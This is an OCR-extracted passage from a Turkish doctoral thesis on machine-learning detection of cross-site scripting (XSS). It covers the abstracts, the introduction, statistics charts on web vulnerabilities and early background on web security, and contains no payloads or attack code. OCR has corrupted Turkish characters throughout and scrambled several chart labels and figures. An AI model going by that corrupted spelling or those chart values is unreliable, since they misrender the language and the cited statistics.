: JavaScript

: Kendini Diizenleyen Haritalar

: Latin America and Caribbean Internet Addresses Registry
: Lightweight Directory Access Protocol
: Latent Dirichlet Allocation

: Linear Discriminant Analysis

: Line Feed

: Message Authentication Codes

: Matthews Correlation Coefficient

: Markov Chain Monte Carlo

: Multidimensional Scaling

: Multipurpose Internet Mail Extensions

: Naive Bayes

: Nondeterministic Polynomial time

: Number Resource Organization

: Non-relational SQL

: Open Authorization

: Online Social Networks

: Open Web Application Security Project
: Principal Components Analysis

: Portable Document Format

: “PHP: Hypertext Preprocessor” veya “Personal Home Page”
: Personal Identification Number

: Parser Level Isolation

: Random Access Memory

: Request For Comments

xviii



RIPE NCC
RIR
S3
SANS
SAST
SDLC
SDL
SMB
SMM
SOM
SOP
SPDL
SQOL
SRI
SSDM
SS1
STI
STK
SWAP
SaaS
SeBIS
SVM
TAB
TBA
TCP/IP
TF
TN
TOR
TP

Ul
UML
URI
URL
USB
USOM
UTF
UXSS

: Réseaux IP Européens Network Coordination Centre
: Regional Internet Registries

: Simple Storage Service

: SysAdmin, Audit, Network, Security
: Static Application Security Testing

: Software Development Life Cycle

: Security Development Lifecycle

: Server Message Block

: Sakli Markov Modeli

: Self-Organizing Maps

: Same Origin Policy

: Security Policy Description Language
: Structured Query Language

: Sanitization Routine Injector

: Secure Software Development Model
: Server Side Include

: Scientific and Technical Information

: Sivil Toplum Kuruluglar

: Secure Web Application Proxy

: Software as a Service

: Security Behavior Intentions Scale

: Support Vector Machines

: TABular

: Temel Bilesen Analizi

: Transfer Control Protocol/Internet Protocol
: Terim Frekansi

: True Negative

: The Onion Router

: True Positive

: User Interface

: Unified Modelling Language

: Uniform Resource Identifier

: Uniform Resource Locator

: Universal Serial Bus

: Ulusal Siber Olaylara Miidahale Merkezi
: Unicode Transformation Format

: Universal XSS

Xix



vCS : Virtual Cloud Server

VPN : Virtual Private Network

w3C : World Wide Web Consortium

WAF : Web Application Firewall

WASC : Web Application Security Consortium

WASM : WebAssembly

WATT : Web Application Testing Tool

WebSSARI : Web application Security by Static Analysis and Runtime Inspection
XML : eXtensible Markup Language

XSLT : eXtensible Stylesheet Language Transformations
XSS : Cross Site Scripting

XXE : XML External Entity

YSA : Yapay Sinir Aglari

YZ : Yapay Zeka

XX



OZET

DOKTORA TEZI

WEB TABANLI UYGULAMALARDA SITELER ARASI BETiK CALISTIRMA
(XSS) ZAFIYETININ DENETLENMESI iCiN OGRENEN BiR SISTEM
GELISTIRILMESI

Halil Ozgiir BAKTIR

Istanbul Universitesi

Fen Bilimleri Enstitiisii

Enformatik Anabilim Dal

Damisman: Prof. Dr. Sevinc GULSECEN

XSS saldirisi, en eski Web uygulamasi saldirilarindan birisi olmasina ragmen, web uygulama
gelistirme siirecinde gereken giivenlik Onlemlerinin alinmamasi nedeniyle, XSS aciklari
halen popiiler uygulamalar da dahil bircok uygulamada zafiyet olusturmakta ve XSS siirekli,
“OWASP Ik On Web Uygulamasi Giivenlik Riski” siralamasinda yerini almaktadar.

Literatiirde 2002°den 2019’a kadar XSS hakkinda yapilmis calismalar incelendiginde,
aragtirmalarin yalnizca istemci veya sunucu tarafli XSS c¢oziimlerine odaklandigi
goriilmektedir (Nagarjun ve Shakeel, 2020). Son yillarda XSS saldirilarin1 6nlemek i¢in
makine 0grenmesi tekniklerini benimseyen arastirmalarin sayis1 artmis ve bu tekniklerin
bilinmeyen saldirilar tespit etmede daha etkili oldugu goriilmiistiir.

Calismanin ilk boliimii, XSS ile ilgili genel bilgileri icerecek sekilde giris mahiyetindedir.
Ikinci boliimde Web, XSS, bilgi giivenligi ve makine 6grenmesi hakkindaki genel literatiir
ile iligkili teknik bilgiler verilmistir. Caligmanin iiclincii béliimiinde ise makine 6Zrenmesi
teknikleri ve belirlenen Ozellik setleri ile 6rnek veri setleri lizerinde makine Ogrenmesi
algoritmalar1 uygulayan 6grenen bir sistem gelistirilmis ve sonuglari tartisilmistir.

Eyliil 2022, 269 sayfa.

Anahtar Kkelimeler: XSS, Siteler Aras1 Betik Calistirma Saldirisi, Web Uygulama Giivenligi

xxi



SUMMARY

Ph.D. THESIS
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VULNERABILITY IN WEB-BASED APPLICATIONS
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Although XSS attack is one of the oldest attack type to Web applications, XSS still cause
vulnerabilities in many applications, including popular applications and services, due to the
lack of necessary security measures in the web application development process, and XSS is
constantly in the “OWASP Top Ten Web Application Security Risk” ranking.

When the studies in the literature, from 2002 to 2019 on XSS are examined, it is seen that
the researches are focused only on client-side or server-side XSS solutions (Nagarjun ve
Shakeel, 2020). In recent years, the number of studies adopting machine learning techniques
to prevent XSS attacks has increased and these techniques have been found to be more
effective in detecting unknown attacks.

The first part of this study is an introduction to include general information about XSS.
Then a brief technical information is given on Web, XSS and security-related issues. Other
section includes the literature on machine learning. In the last part of this study, a learning
system that applies machine learning algorithms on sample data sets with machine learning
techniques and determined feature sets is developed and its results are discussed.
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1. GIRIS

Geligsmekte olan teknolojiler ve giindelik yasamimizda edindigimiz tecriibeler, bizlere
yeni diinya ve gelecegin verinin ve bilginin giicii etrafinda sekillenecegini gostermektedir.
Bilginin giicli ile otomatik kararlar alan ve uygulayan sistemler, endiistriyi derinden
etkilemektedir. Bu siirecte veriyi anlamli bilgi haline getirmek kadar, veriyi koruma cabasi
da deger kazanmaktadir. Bilginin giivenligi, seffaflig1 ve mahremiyeti her gecen giin 6nemini
daha da artirmaktadir. Giiniimiizde bilginin en fazla tiretildigi, islendigi ve iletildigi ortam hig
kuskusuz siber diinyadir. Bu nedenle siber diinyadaki bilgilerin giivenligi, sadece kisi veya

kurumlar nezdinde degil devletler nezdinde bile hayati bir 6neme sahiptir.

Siber diinyanin 6nemli bir oranini olusturan web, giinliik hayatta bireysel yasamimizin yan
sira bir biitiin olarak toplumsal faaliyetlerin de onemli bir parcasi haline gelmis durumdadir.
Teknolojideki hizli ilerlemelerle birlikte, en karmasik uygulamalar bile web iizerinden
erisime sunularak daha genis kitlelere ulasabilmekte ve daha kolay kullanilabilmektedir.
Ancak, saglanan hizmetlerin ¢ogalmasi ve cesitlenmesi ile birlikte, cok onemli sorular ortaya
cikmaktadir. “Web ne kadar giivenli?”, “Web tizerindeki bir kaynaga eristigimizde ne kadar
giivende oluruz?” gibi sorular bizi siber diinyanin bir parcgasi olarak siber giivenlige ve sonug
olarak tek bir kati odak noktas1 olan “Web tizerindeki tiim etkilesim seviyelerinde giivenlik™

ihtiyacina gotiirmektedir.

Giivenlik, siber diinyadaki diger unsurlar gibi web uygulamalarinda da onemli bir rol
oynamaktadir. Tlgili web sunuculari ile bagl uygulamalar, kullanicilara cok cesitli ve faydali
hizmetler sunar. Ancak, siber ekosistemde ¢ok sayida kullanici icin tam anlamiyla kisisel
iletisim ve bilgi merkezi olan bu web uygulamalar1 ve bagli sunucularinda potansiyel
giivenlik aciklarimi arayan ve bunlardan yararlanan belirli bir ileri diizey kullanici alt
popiilasyonu vardir. Tipik olarak, zarar verici bir saldirt baglatmanin ilk adimi, bir
uygulamadaki veya uygulamanin barindirildig1 sunucudaki giivenlik kusurlarim1 kesfetmek

ve daha sonra hassas bilgileri ele gecirmek icin bu kusurlardan yararlanmaktir.

Siteler Aras1 Betik Calistirma saldirilart (XSS - Cross Site Scripting) adi verilen 6zel

bir uygulama katmani saldirisi, son yirmi yilda korkutucu bir hale gelmis durumdadir.



Geleneksel olarak, bu saldirilar kigsisel bilgileri ¢almak i¢in kullanilmis ve saldirganin,
kurbanin kimligine biirlinmesine olanak saglamistir. Bununla birlikte, son zamanlarda
teknolojinin evrimi ile bu saldirilar, diger cezalandirma saldirilarini tasarlamak ve baglatmak
icin sosyal miithendislik teknikleriyle birlikte kullanilmaktadir. Siteler arasi betik ¢alistirma
saldirisi, en basit bicimde saldirganin giivenlik ac1g1 bulunan bir Web uygulamasina kétiiciil
kod enjekte ettigi ve kotiiciil kodun masum bir kullanicinin tarayicisinda bagarili bir sekilde
yiirlitiilmesine yol acan istemci tarafli bir uygulama katmani kod enjeksiyon saldirisi olarak
tanimlanabilir (Nithya, Pandian ve Malarvizhi, 2015). Bir Web uygulamasinin, kullanici
tarafindan yapilan girisleri dogrulama eksikligi varsa ve kullanicilar tarafindan yapilan
girigleri uygun sekilde temizlemek/notr hale getirmek i¢in gereken dnlemler alinmamassa,
bir XSS giivenlik a¢i81 oldugu sdylenir. XSS aciklari, 1990’11 yillarin baslarinda kesfedilmis
ve 2000’li yillarin baglarinda kamuoyuna duyurulmus olmasina ragmen hala bir tehdit
olarak giincelligini korumaktadir. Bu tiirdeki saldirilarin ciddiyeti yillar icinde 6nemli 6l¢iide
artmustir. XSS saldirilari, artik kisisel hassas bilgileri saldirganin sunucularina aktarmanin
yani sira Web igerigini degistirmek, kotii amach yazilim yaymak, DDoS saldirilar baglatmak
ve kullanici oturumlarini ele ge¢irmek gibi bircok amag icin kullanilabilir (Wijayarathna ve

Arachchilage, 2018).

Bir XSS saldirisinda, giivenlik agigir bulunan bir Web uygulamasinin giivenilir igerifine
kot amach igerik (kotiiciil kodlar) eklenir. Kurban, Web uygulamasina baglanarak igerige
erisirken/programi yiiriitirken, uygulamanin megruiyet kurallarinin bir parcasi olarak
maskelenen kotii amach iceriklere hizmet etmektedir. Kurbanin tarayicisi, kotii niyetli ve
mesru igeri8i ayirt edemedigi icin istemeden kotii amach kodlart da calistirir. Sekil 1.1, bir

XSS saldirisinin bagariyla baslatilmasi i¢in gereken adimlar1 gostermektedir.

Saldirgan, kurbani dogrudan hedeflemez, ancak zararli kodu kurbanin tarayicisina
iletmek i¢in giivenlik acig1 bulunan Web uygulamasindaki kusurlari kullanir. XSS
saldirisinda, “Zafiyet barindiran Web uygulamasi”, “Saldirgan” ve “Kurban” olmak
izere Uic ana aktor vardir. Kot amaghh kodun Web uygulamasina enjekte edilme
bicimine bagl olarak, XSS saldirilari, Kalici/Depolanmis (Persistent/Stored), Kalict
olmayan/Yansitilmis (Non-Persistent/Reflected) ve DOM (Document Object Model)
tabanli gibi siniflandirilmaktadir. Pratik olarak, kotii niyetli kodun kurbanin tarayicisina
teslim edilme ve yiiriitilme sekli farklilik arz ettiginden, bu sekilde farkli bagliklarda

siniflandirilmaktadir. Yansitilmis XSS saldirilari, en yaygin XSS tiiriidiir, ancak potansiyel



Saldirgan Web uygulamasindaki « | Saldirgan zafiyeti istismar eder / givenlik agigini kullamir.
XSS apigini / zafiyetini bulur, - Saldirgan kotiicll kod pargacigini enjekte eder.
v
Zafiyet barindiran web uygulamasi Kurban zafiyet barindiran web
kurbana HTTP yanitini gonderir. - uygulamasina bir HTTP istegi génderir.
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Kot niyetli kod pargacig), mesru Istemci tarayicisi kit amach kodu yiiritir ve
iperigin bir pargasi haline gelir. kotucul kod, saldirganin amacina hizmet eder.

Sekil 1.1: Bir XSS Saldirisinin Adimlari

olarak daha tehlikeli olan Depolanmis XSS saldirilanidir. Yansitilmis ve Depolanmig
XSS saldirilari, DOM tabanli XSS saldirilarindan farklidir. Ciinkii, DOM tabanli XSS
saldirilar1 kullanicr tarayicisinin komut yorumlayicisindaki kusurlardan kaynaklanmaktadir.
Buna karsilik, Yansitilmis ve Depolanmig XSS saldirilari, Web uygulamasindaki giivenlik
aciklarmin bir sonucudur. DOM tabanli XSS saldirilarinin digerlerine nazaran nispeten
daha nadir oldugu s6ylenebilir. Ilerleyen boliimlerde XSS tiirleri ile ilgili daha detayl bilgi

verilmisgtir.

Modern Internet cag, topluma gittikge daha fazla ve farkli hizmetler sunmay1 vaat ettiginden,
hassas bilgilerin giivenligine, gizliligine ve korunmasina iligkin riskler gittikce daha da
artmaktadir. Web uygulamalarinda, heniiz gelistiricisinin bilgisi olmayan bircok giivenlik
aci1g1 gizlenir. Kotii niyetli kisiler, Web uygulamalarindaki bu giivenlik agiklarini aragtirir,
ortaya cikarir ve bunlardan yararlanir. Bu durum, uygulamalarin son kullanicilar1 acisindan
ciddi tehditler olusturur. Sonug olarak, zafiyete agik uygulamalarin kullanicilar1 saldirganlar

icin bir av konumuna diismektedir.

Sekil 1.2, 1999°dan 11 Ekim 2019’a kadar farkli giivenlik acig tiirlerinin toplam sayisinin
grafiksel bir tasvirini vermektedir. Grafikten goriilebilecegi gibi, Kod Calistirma giivenlik
acig1 en yiiksek sayiya sahiptir. Siteler arasi betik calistirma giivenlik agigi, belirtilen
siire boyunca toplam 15.287 adet ile dordiincii sirada olup, bu da bildirilen tiim giivenlik
aciklarinin yaklasik %12,5’ini olusturmaktadir. XSS istatistiklerine iligkin daha fazla bilgi
edinmek icin, XSS agiklarinin sayisinin yillar icinde nasil degistigini gosteren Sekil 1.3

incelenebilir (CVE Details, 2019).
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Sekil 1.2: Tipe gore Zafiyet Sayilar1 (CVE Details, 2019)
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Sekil 1.3: Yillara gore XSS Zafiyet Sayis1 (CVE Details, 2019)

Sekil 1.4, 2019 yili icin WhiteHat Security Inc. tarafindan hazirlanan Uygulama Giivenligi
Istatistikleri Raporu Cilt 14’te yer alan giivenlik acig1 simflarimin yiizdelik dagilimimni
gostermektedir. WhiteHat Security tarafindan bu rapor 2006’dan beri yayinlamakta olup
calisma, bulut tabanli bir uygulama giivenligi platformu olan WhiteHat Sentinel’de
stirekli giincellenen giivenlik testi bilgilerinden toplanan istatistiksel verileri ve analizleri
icermektedir. 2019 raporundaki veriler, yaklasik 17 Milyon uygulama ve trilyonlarca kod
satirinin giivenlik tarama analiz sonuglarindan elde edilmistir. Giivenlik a¢ig1 siniflari, Web
Uygulama Giivenligi Konsorsiyumunun tehdit siniflandirmasina dayanmaktadir (WASC,

2010).

Hem DAST hem de SAST veri kiimelerinde, Siteler Aras1 Betik Calistirma (XSS) en yaygin



Sinifa Gére Givenlik Agig Yayginligi
(DAST - Dinamik Uygulama Giivenligi Testi)

33,09%

Yetersiz Tagima Katman | Korumasi

Bilgi siziirma 12,44%

Siteler Arasi Betik Calistirma (X55) 9,69%

Gergevelen ebilir Kaynak (Potansiyel Tiklama Calma) :| 6,42%
Ongariilenilir Kaynak Yeri [N ] 5,63%
Yan lig Girdi Kullanimi :l 5,57%
Parmak izi cikarma :l 5,38%
icerik Sahtekarlig :l 5.29%
Yetersiz Vetkilendirme | [N | 4,83%
Keba kuwet N 2.24%
URLYénlendirici Suistimali [N 1,41%
Yanlg Sunucu Yapilandirma :l 0,99%
Siteler Aras: istek Sahtecili (CSRF) [ 0.95%
Dizin indeisieme ] 0,93%
HTTP Yanit Boime I 0,77%
Yetersiz Oturum Soland irma :| 0,59%

5QL Enjeksiyonu :| 0,51%

Yetersiz Parola Politikasi Uygulamas: :l 0.29%
Otomatik Tamamlama zeligi | 0.27%
Islevin Katiye Kullanimi ] 0.26%

Yetersiz Anti-Otomasyon ] 0.25%

Uyeulama Kodu Yiritme || 0,23%

Hizmet Reddi (Dos) || 0,22%
35,00%

0,00% 5,00% 10,00% 15,00% 20,00% 25,00% 30,00%

Sekil 1.4: Sinifa Gore Giivenlik A¢i81 Yayginlifi - DAST (WhiteHat Security Inc., 2019)

ticiincii giivenlik acig1 tiirtidiir. Teorik olarak, eger sirketler SAST’ta (iiretim asamasinin

ilk evresinde) XSS aciklarini tespit ediyorlarsa ve onlar1 bu asamada diizeltiyorlarsa, bu

giivenlik agiklarini, DAST sonuclarinda gérmemeyi beklemekteyiz.

Sinifa Gére Giivenlik Agig Yayginligi
(SAST - Statik Uygulama Giivenligi Testi)
Yamanmamig Kitlphane 33.05%
Yanlss Uygulama Yapiandirmas: (Genel Hata isiemesi Devre D) | 13.67%
Siteler Arasi Betik Calisrma (XSS) \ 12.38%
ifsa (Agtk Metin Sifre) | 10.68%
Yanls Uygulama Yapilandirmasi (Hata Ayiklama) :‘ B,66%
Yetersiz Tasima Katmani Korumast :l 8,45%
Sifreleme (Giivensiz Ozet) :l 6.86%
Yetersiz Oturum Sonlandirma :l 6,60%
Sifreleme (Yanls Sozde Rastgele Say Ureticisi Kutlanimi) [N 6,43%
ifsa (Gomilii Sifre) :| 6.07%
Enjeksiyon (Bilinmeyen Yorumiayc) [N 6,03%
Hizmet Reddi (Readline) [Nl 5,60%
sal Enjeksiyonu [T 5,31%
Dizin Atiatma [N 5,22%
URLYanendirici Suistimali NSNS 5,20%
Sifreleme (Gomilll Anahtar) :| 4,41%
Enjeksiyon (HTTP Yanit Bolme) :| 4,34%
Sifreleme (Giivensiz Sifre kodu Dolgulama) :| 427%
Bilgi Sizd irma (Sifre) :| 3,30%
Sifreleme (Uygun Olmayan Sertifika Dogrulama) :l 3,18%
Yetersiz Kayit veizeme NSNS 2.78%
0,00% 5,00% 10,00% 15,00% 20,00% 25,00% 30,00% 35,00%

Sekil 1.5: Sinifa Gore Giivenlik A¢i81 Yayginlif1 - SAST (WhiteHat Security Inc., 2019)




Siteler Arasi Betik Calistirma (XSS) tehlikeleri, konu hakkindaki artan farkindaliga ragmen
halen en iist siralarda yer almaktadir. Son ii¢ yilin rapor verileri degerlendirildiginde, XSS
aciklan ikinci siradadir. Bu giivenlik ag¢ig1 konusundaki yaygin bilgilere, genis ve felce
ugratan etkilerine ragmen, endiistrinin halen XSS konularini ele alma ve XSS sorunlarini

cozmede basarisiz olmaya devam ettigi goriilmektedir (WhiteHat Security Inc., 2019).

Positive Technologies tarafindan paylagilan “Web Uygulamas1 Giivenlik Acgiklar:: 2018
Istatistikleri” raporuna gore firma igin giivenlik zafiyet testi yapanlar 2018°de web
uygulamalarinda yaklagik 70 farkl ¢esit zayiflik buldu. Her bes web uygulamasindan dordii,
varsayilan ayarlar, standart sifreler, hata bildirimi, tam yol agiklamasi ve potansiyel davetsiz
misafirler icin degerli olabilecek diger bilgi sizintilar1 gibi acgikliklara sahip yapilandirma
hatalar iceriyordu. Her zaman oldugu gibi, bircok web uygulamasinda Siteler Aras1 Betik
Calistirma (XSS) giivenlik aciklari bulunmaktaydi. (Positive Technologies, 2019)’da yer alan
2018 Web uygulama giivenlik aciklari dagilimi Sekil 1.6°’dan goriilebilir.

OWASP Top 10-2017 Zafiyetleri
(2018 icin Web uygulama giivenlik aciklari dagilimi)

2017-A6: Yanhs Giivenlik Yapilandiriimas
2017-AT: Siteler Aras Betik Calistirma [X55)
2017-A2: Eksik/Yanhs Kimlik Dogrulama
2017-A5: Eksik/Yanhs Erisim Kontroli
2017-Al: Enjeksiyon

2017-A3; Hassas Veriyi Agikta Birakma

2017-A9: Bilinen Aciklga Sahip Bilesenleri Kullanma
2017-Ad: XML Harici Oge ] 2%
2017-A8: Giivensiz Ters-serilestirme I %

o

Ed

10% 20% 30% 40% 0% B0 0% B0 90%

mYilksek ®wOrta w Dilisik

Sekil 1.6: OWASP Top 10-2017 Zafiyetleri (Positive Technologies, 2019)

Edgescan (2019) tarafindan hazirlanan 2019 Zafiyet Istatistikleri raporu incelendiginde en
yaygin Web zafiyetleri arasinda Siteler Arasi Betik Calistirma (XSS) agikliginin en biiyiik
paya sahip oldugu goriilmektedir.

Konuya saldirganlarin bakis acisi ile farklt bir taraftan bakmak i¢in Beyaz Sapkali Hacker



En Yaygin Web (7.Katman) Zafiyetleri

Siteler Arasi Betik Calistirma (X5S)/Tarayic Alis Noktas: (Sink) Saldinlan 14,69%

zotvere s iesenier | -
e ———
Diger Enjeksiyonlar (05, cRLF, HTTP, 20€) [ :.is%
Dig Servis Etkilegimi _ 6,30%
kaynak koau itsas [ 5.7
sal Enjeksivon (& LDAP Enjeksivon) [N : -s+
Sistemi Agiga Cikarma _ 4,62%
katicil Dosya Yikeme [N &%
Hassas Bilgi ifsast _ 3.60%
Bilgi ifsas/Hata Yonetimi [N 332
Yetkilendirme Sorunu _ 2,81%
Acik Tekrar Yanlendirme _ 2,53%
pom Tabanh Acrkic [N 1.82%
Oturum Yanetme Zayifhig - 1,78%

siteler Arast istek santeciigi (csre) [N 7%

0,00% 2,00% 4,00% 6,00% B,00% 10,00% 12,00% 14,00% 16,00%

Sekil 1.7: En Yaygin Web (7. Katman) Zafiyetleri (Edgescan, 2019)

camiasinda 2019 yilinda Hackerone tarafindan yapilan anket ¢alismasi incelenebilir. Bu
ankette katilimcilara “Hacking icin en ¢ok tercih ettiginiz teknik, atak vektorii veya yontem
nedir?” sorusu yoneltilmistir. Katilimcilarin %38’1 Siteler Arast Betik Calistirma (XSS)
yontemini tercih ettiklerini belirtmislerdir. XSS’in gecen yilki ankette %28 paya sahip
oldugu ve popiilerligini artirarak diger tiim saldir1 yontemi tercihlerinin agik ara oniinde yer

aldig1 goriilmektedir (Hackerone, 2019).

Hackingicin en cok tercih ettiginiz teknik, atak vektori
veya yontem nedir?

Siteler Arasi Betik Cahstirma (X55) | 38%
sol Enjeksivon [N 13.50%
Bulandirma (Fuzzing) [ 7.50%
isManug [ 5.20%
Bilgi Toplama [ 5.80%
Sunucu Tarafi Istek Sahteciligi (SSRF) [ 4.90%
Uzaktan Kod Cahstrma (RCE) [ 3.80%
Dokim [ 3.30%
Tersine Mihendislik [ 3.30%
Giivensiz Dogrudan MNesne Referanslari (IDOR) - 3,10%
Kaba Kuwet [l 2.60%
Enjeksiyon [l 2.20%
Siteler Arasi Istek Sahteciligi (CSRF) ] 1.60%
Kimlik Dogrulama || 1,50%
XML Harici Oge (XXE) [ 1.50%
Daguk Hizmet Reddi (DDos) [ 1.30%

0,00% 500% 10,00% 1500% 20.00% 25,00% 30,00% 3500% 40,00%

Sekil 1.8: Beyaz Sapkali Hacker Anket Sonuclar1 (Hackerone, 2019)



XSS saldirilart muazzam giivenlik tehditleri olusturur. Gegmiste bu tiir saldirilara karsi
cesitli gilivenlik mekanizmalar1 Onerilmigtir. XSS saldir1 tespiti ve Onleme yOntemleri
hakkinda literatiirde yapilmig bircok calisma bulunmaktadir. Hydara ve dig. (2015),
yaptiklar1 caligmada, XSS saldir tespiti i¢in bu saldirinin ilk ortaya ¢ikisindan bu yana
yapilan arastirmalar, bu tiir saldir1 sorunlarim1 ¢dzmek icin 6nerilen ¢oziimler ve teknikler
ayrintili olarak tartismaktadir. Calisma, yalnizca XSS saldirt tespit ve 6nleme alanina degil,
XSS giivenlik acig1 kesfine de odaklanmugtir. Ayrica savunma yontemlerini, farkli analiz

tekniklerine gore siniflandirmaktadir.

Shanmugam ve Ponnavaikko (2008), XSS aciklari tespit etmek i¢in ¢éziimler sunmanin
yani sira, XSS saldirilarinin bir Web uygulamasiin normal isleyisinde yol agtigi bazi
onemli giivenlik risklerini de tartismaktadir. Ayrica, XSS saldirilarinin basarili bir sekilde
tespit edilmesine iliskin aragtirmaya acik alanlara paralel olarak, ortaya ¢ikan bazi acik
kalmis sorunlar1 da raporlamaktadir. Calisma farkli savunma yontemlerini, once uygulanma

yerlerine ve ardindan da analiz tekniklerine gore alt gruplarda simiflandirmaktadir.

Yillar boyunca bircok farkli XSS saldiris1 tespit yaklagimi Onerilmistir. Saldir1 algilama
yaklagimlari, istemci tarafli algilama yaklasimlari, sunucu tarafli algilama yaklagimlar ve
istemci-sunucu algilama yaklagimlar1 olmak iizere ii¢ kategoriye ayrilir. Bu kategorilerin
her birinde tartigilan yaklagimlar, saldirty1 basariyla teshis etmek i¢in kullandiklar analiz
mekanizmasina gore tekrar alt boliimlere ayrilmigtir. Yaklagimlarin her birinin kendine 6zgii
artilar1 ve eksileri bulunmaktadir. Ayrica bu yaklasimlardan faydalanarak XSS saldirilarina

kars1 savunma yapmak i¢in gelistirilmis bir¢ok hazir ara¢ da bulunmaktadir.

Siteler aras1 komut dosyasi ¢alistirma saldiris1 veya XSS saldirilari, ilk tespit edildiginden
bu yana web uygulamalarinda var olan en 6nemli acikliklardan biridir. Saldir1 bagsarili
olduktan sonra, kurban saldirganin insafina kalir, saldirgan kurbanin kimligine biiriinebilir
veya hassas bilgilerini calabilir. Bu tiir saldirilar tespit etmek zor, ancak uygulanmasi ¢ok
kolay oldugundan, giivenlik acisindan durum daha da kotii bir hale gelmektedir. Yillar iginde
bircok XSS saldir tespit yaklasimi Onerilmis olmasina ragmen XSS saldirilarinin halen
giincel bir sorun olmasinin ana nedeni budur. Bu ¢alismanin motivasyonu, yillardir devam
eden ve giincelligini koruyan XSS saldir1 probleminden, daha 6nce arastirmacilar tarafindan
Onerilen savunma ¢oziimlerinden faydalanarak tespit ile ilgili sorunlara ve zorluklara ¢6ziim

tiretmeye caligmak ve hatta soruna iligkin arastirma bosluklarin1 gidermeye odaklanmaktir.



XSS algilama teknikleri, uygulanma yerlerine gore simiflandirilir; ¢iinkii her algilama
yontemi istemci tarafinda veya sunucu tarafinda veya her ikisi yani istemci-sunucu
tarafina uygulanabilir. Tespit yontemleri, birbirlerinden XSS saldir1 davranigim analiz etme
sekillerine gore farklilik gosterir. Bu nedenle, algilama yontemleri, kullandiklari analiz

teknigine gore, yani statik, dinamik veya hibrit olarak alt siniflara ayrilir.

Tez kapsamindaki siiregte, tez konusu ile ilgili literatiir taramasi ardindan XSS zafiyetinin
tiirleri, saldirinin 6n kosullari, olusturdugu tehditler, etkileri ve tespit yontemleri ele
alindiktan sonra makine Ogrenmesi yaklasgimin XSS tespiti i¢in nasil kullanilabilecegine
odaklanilmistir. Tez caligmast kapsaminda gelistirilen uygulama gercevesi ile web tabanl
uygulamalarda Siteler Arasi1 Betik Calistirma (XSS) zafiyetinin denetlenmesi i¢in 6grenen

bir sistem gelistirilmesi amaglanmaktadir.

Tez caligmasinin amaci dogrultusunda kavramsal temelleri olusturmak iizere GENEL
KISIMLAR boliimiinde, Web Giivenligi Ekosistemi, XSS Zafiyeti ve Makine Ogrenmesi

hakkinda temel bilgilere yer verilmistir.

YONTEM, MODEL TASARIMI VE UYGULANMASI boliimiinde, calisma kapsaminda
geligtirilen model ve uygulama cercevesi adimlar takip edilerek faz faz agiklanmistir. Ayrica
ele alinan problemin ikili bir siniflandirma problemi olmasi nedeniyle problemin ¢oziimii
icin faydali olacag1 degerlendirilen ozelliklerin, NB, DVM ve GDM makine 6grenmesi
metotlar1 ile karsilagtirilmasina ve Bilgi Kazanim ile 6zellik secimi yontemi kullanilarak

ozellik sayisinin model maliyeti agisindan optimum seviyede tutulmasina karar verilmistir.

OZELLIiK SECiMi VE SINIFLANDIRMA BULGULARI béliimiinde, geligtirilen model,
deney kurulumu ve uygulama sonucunda elde edilen verilerin analiziyle, se¢ilen 6zelliklerin
degerlendirmesi, siniflandirma siirecinde kullanilan algoritmalarin karsilastirmasi ve dzellik

secimi yapilmasi/yapilmamasi durumunda elde edilen performanslar degerlendirilmistir.

SONUC VE GELECEKTE YAPILABILECEK CALISMALAR boliimiinde ise tez ¢alismast
degerlendirilmig, yapilan c¢alismanin 6zetlenmesi adina c¢alismanin kilometre taglari
ve yasanan zorluklara deginilmesinin ardindan gelecege yonelik olarak yapilabilecek

calismalar, derinlestirme ve gelistirmeler hakkinda onerilerde bulunulmustur.
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2. GENEL KISIMLAR

Giintimiizde literatiirde ve sektorde “gilivenlik sorunu” teriminin cesitli tanimlar1 vardir.
Ornegin, birisi erismemesi gereken bilgilere erisebilir veya yalnizca okuyabilmesi gereken
bilgileri degistirme olanagina sahip olabilir durumdaysa bu bir giivenlik sorunu olarak
ifade edilir. Hizmet Reddi (DoS: Denial of Service) veya Dagitilmis Hizmet Reddi (DDoS:
Distributed Denial of Service) olarak da adlandirilan, bir sistemin mesru kullanicilari
tarafindan kullanilamamasina neden olacak saldirilar da bir giivenlik sorunu olarak kabul

edilebilir.

Yaygin Zayiflik Sayimi (CWE: Common Weakness Enumeration) (SANS, MITRE, ve dig.,
2020) her yi1l “En Tehlikeli ilk 25 Programlama Hatasi”nmin (CWE, 2020) bir listesini
derlemektedir. Bu listeyi olusturmak icin, “The SysAdmin, Audit, Network, Security
(SANS) Institute” (SANS, 2020), “The MITRE Corporation” (The MITRE Corporation,
2020) ve diger giivenlik uzmanlarindan girdiler alinmaktadir. Bu girdilerin ¢cogu web

eksosistemi icin de gecerlidir; bu girdilerden ve yontemlerden bazilar1 asagida agiklanacaktir.

Bu konuya ilgi duyan ve calismalar yapan diger bir topluluk, uygulama giivenligini goriiniir
kilmaya calisan A¢ik Web Uygulamasi Giivenlik Projesi (OWASP - Open Web Application
Security Platform)’dur. Birka¢ yilda bir “En Kritik 10 Web Uygulamas1 Giivenlik Riski”

listesi yayimlayarak literatiire ve sektore katki saglamaktadirlar.

2.1. WEB GUVENLIGI EKOSISTEMI

Web uygulamalarinin giivenlik agisindan neden bu kadar sorunlu olabilecegine dair bir¢ok

farkli neden vardir. Asagida bu nedenlerden bazilarinin bir listesi bulunmaktadir.

Web sunucular iyi hedeflerdir: Giiniimiizde web sunucular1 ve web uygulamalari, hem
miisterilere hem de miisteri olmayanlara bir uygulama veya hizmet saglamak icin fiilen
standart bir yontem haline gelmistir. Yetkili erisim ile anonim erigimin ayrilmas1 genellikle
sunucuya/uygulamaya gelen taleplerin yalnizca bir kismui i¢in yapilir ve bu da ayn1 hizmete

yonelik yetkili ve anonim taleplerin bir karisimina yol agar. Diger pek ¢ok sistem tiiriinde,
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Istemciler I»

Mesru kullanicilar (bazilan kurban)

Saldrganlar

Web Giivenlik Ekosistemi

«‘ Tarayicilar

Givenlik uzmanlan

USOME

SOME

Bagmsiz

Isaretleme dilleri I»

HTML (4 & 5)
PN

XHTML

MathML

Sunucu tarafi

programlama dilleri
ve cergeveler

Java ve JSP
ASP 1 ASPNET (C# veya VB)

PHP
SLALI

Codeigniter

Zend

Ruby

Rails (Ruby on Rails)
Node js

Python

Protokoller l»

HTTP /HTTPS (114 2.0)
_

AJAX [
MIME
FTP

LS/ SSL
1P (e [ 6)
DNS
PIN

SAMLU/Shibboleth

CAS

OAuth

WebSocket

ve Farkindalik

Son kullanici
Gelistirici
Sistem yoneticisi
Ver tabani uzmani
Givenlik uzman
Bilisim hukuku

Adi bilisim ve olay yanetimi

Google Chrome

Mazilla Firefox

Safari

